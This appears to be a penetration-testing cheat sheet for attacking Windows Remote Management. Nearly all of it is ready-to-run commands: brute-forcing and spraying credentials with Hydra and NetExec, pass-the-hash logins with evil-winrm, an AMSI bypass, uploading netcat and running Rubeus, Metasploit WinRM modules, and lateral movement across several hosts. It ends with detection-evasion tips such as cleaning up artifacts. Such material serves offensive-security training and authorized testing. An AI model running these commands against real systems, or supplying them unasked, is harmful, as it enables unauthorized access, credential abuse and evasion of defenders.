WinRM Enumeration Enumerate and exploit Windows Remote Management service to gain remote PowerShell access and execute commands on Windows systems. WinRM is commonly enabled on Windows servers and can provide direct shell access with valid credentials.
Port Scanning nmap -p 5985,5986 -sV -sC 10.10.10.10
Check WinRM Access nxc winrm 10.10.10.10 -u user -p password nxc winrm 10.10.10.10 -u user -H ntlmhash nxc winrm 10.10.10.0/24 -u user -p password nxc winrm 10.10.10.10 -u users.txt -p password
PowerShell Test-WSMan Test-WSMan -ComputerName 10.10 .10.10 Test-WSMan -ComputerName 10.10 .10.10 -Credential (Get-Credential )
Evil-WinRM Basic Connection evil-winrm -i 10.10.10.10 -u user -p 'password' evil-winrm -i 10.10.10.10 -u user -H ntlmhash evil-winrm -i 10.10.10.10 -u 'domain\user' -p 'password' evil-winrm -i 10.10.10.10 -u user@domain.local -p 'password' evil-winrm -i 10.10.10.10 -u user -p 'password' -S
Evil-WinRM File Operations *Evil-WinRM * PS C:\> upload /opt/tools/nc.exe *Evil-WinRM * PS C:\> download C:\Users\user\file.txt *Evil-WinRM * PS C:\> upload /opt/tools/nc.exe C:\Users\Public\nc.exe
Evil-WinRM Advanced Features *Evil-WinRM * PS C:\> Invoke-Binary /opt/tools/Rubeus.exe *Evil-WinRM * PS C:\> menu *Evil-WinRM * PS C:\> Invoke-Binary *Evil-WinRM * PS C:\> Bypass-4MSI *Evil-WinRM * PS C:\> Import-Module .\PowerView.ps1
PowerShell Remoting Enter-PSSession Enter-PSSession -ComputerName 10.10 .10.10 -Credential (Get-Credential )$cred = Get-Credential domain\userEnter-PSSession -ComputerName 10.10 .10.10 -Credential $cred Exit-PSSession
Invoke-Command Invoke-Command -ComputerName 10.10 .10.10 -Credential $cred -ScriptBlock {whoami}Invoke-Command -ComputerName 10.10 .10.10 -Credential $cred -ScriptBlock { whoami hostname ipconfig } Invoke-Command -ComputerName 10.10 .10.10 ,10.10 .10.11 -Credential $cred -ScriptBlock {whoami}Invoke-Command -ComputerName 10.10 .10.10 -Credential $cred -FilePath C:\scripts\script.ps1
New-PSSession $session = New-PSSession -ComputerName 10.10 .10.10 -Credential $cred Invoke-Command -Session $session -ScriptBlock {whoami}Enter-PSSession -Session $session Remove-PSSession -Session $session
use scanner/winrm/winrm_login set RHOSTS 10.10.10.10set USER_FILE users.txtset PASS_FILE passwords.txtrun use exploit/windows/winrm/winrm_script_exec set RHOSTS 10.10.10.10set USERNAME userset PASSWORD passwordset FORCE_VBS true run
Ruby WinRM require 'winrm' conn = WinRM::Connection .new( endpoint: 'http://10.10.10.10:5985/wsman' , user: 'user' , password: 'password' ) conn.shell(:powershell ) do |shell | output = shell.run('whoami' ) puts output.stdout end
WinRM Brute Force Hydra hydra -l user -P passwords.txt 10.10.10.10 winrm
NetExec nxc winrm 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success nxc winrm 10.10.10.10 -u user -p passwords.txt
WinRM Configuration Check WinRM Status (Local) Get-Service WinRMwinrm get winrm/config winrm enumerate winrm/config/listener
Enable WinRM (Local) Enable-PSRemoting -Force winrm quickconfig Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10" -Force
winrm create winrm/config/Listener?Address=*+Transport=HTTP winrm create winrm/config/Listener?Address=*+Transport=HTTPS @ {Hostname="host" ;CertificateThumbprint="thumbprint" }
Pass-the-Hash with WinRM Evil-WinRM PTH evil-winrm -i 10.10.10.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:ntlmhash
Impacket wmiexec (Alternative) impacket-wmiexec -hashes :ntlmhash administrator@10.10.10.10
Lateral Movement via WinRM Execute Commands on Multiple Hosts $computers = @ ("10.10.10.10" , "10.10.10.11" , "10.10.10.12" )Invoke-Command -ComputerName $computers -Credential $cred -ScriptBlock { whoami hostname }
Copy Files via WinRM $session = New-PSSession -ComputerName 10.10 .10.10 -Credential $cred Copy-Item -Path C:\local\file.txt -Destination C:\remote\ -ToSession $session Copy-Item -Path C:\remote\file.txt -Destination C:\local\ -FromSession $session
WinRM with Kerberos Request Kerberos Ticket kinit user@DOMAIN.LOCAL klist evil-winrm -i dc01.domain.local -r DOMAIN.LOCAL
Notes Ports:
5985: HTTP (unencrypted WinRM)
5986: HTTPS (encrypted WinRM)
Default protocol: HTTP unless explicitly configured for HTTPS
Authentication:
Supports Windows Authentication (Kerberos, NTLM)
Requires valid domain or local credentials
Pass-the-Hash works with NTLM authentication
Kerberos authentication requires proper DNS and time sync
Requirements:
User must be member of “Remote Management Users” group or Administrators
WinRM service must be running and configured
Firewall must allow WinRM ports
Network connectivity to target
Evil-WinRM Features:
File upload/download capabilities
PowerShell script execution
AMSI bypass built-in
Supports Pass-the-Hash
Can load PowerShell modules and scripts
PowerShell Remoting:
Built into Windows (PowerShell 2.0+)
Uses WinRM as transport protocol
Supports one-to-one and one-to-many remoting
Can create persistent sessions
Supports background jobs
Security Considerations:
HTTP (5985) transmits credentials in clear text (wrapped in NTLM/Kerberos)
HTTPS (5986) provides encryption
Requires authentication (no anonymous access)
Logs created in Windows Event Log
Can be detected by EDR/monitoring solutions
Common Use Cases:
Remote administration
Lateral movement in AD environments
Post-exploitation command execution
File transfer between systems
Automated deployment and configuration
Troubleshooting:
“Access Denied”: User not in Remote Management Users group
“Connection refused”: WinRM not enabled or firewall blocking
“Authentication failed”: Invalid credentials or authentication method
“Timeout”: Network connectivity issues or wrong port
Detection Evasion:
Use HTTPS (5986) instead of HTTP
Avoid suspicious commands (whoami, net user, etc.)
Use native Windows tools when possible
Limit session duration
Clean up uploaded files and artifacts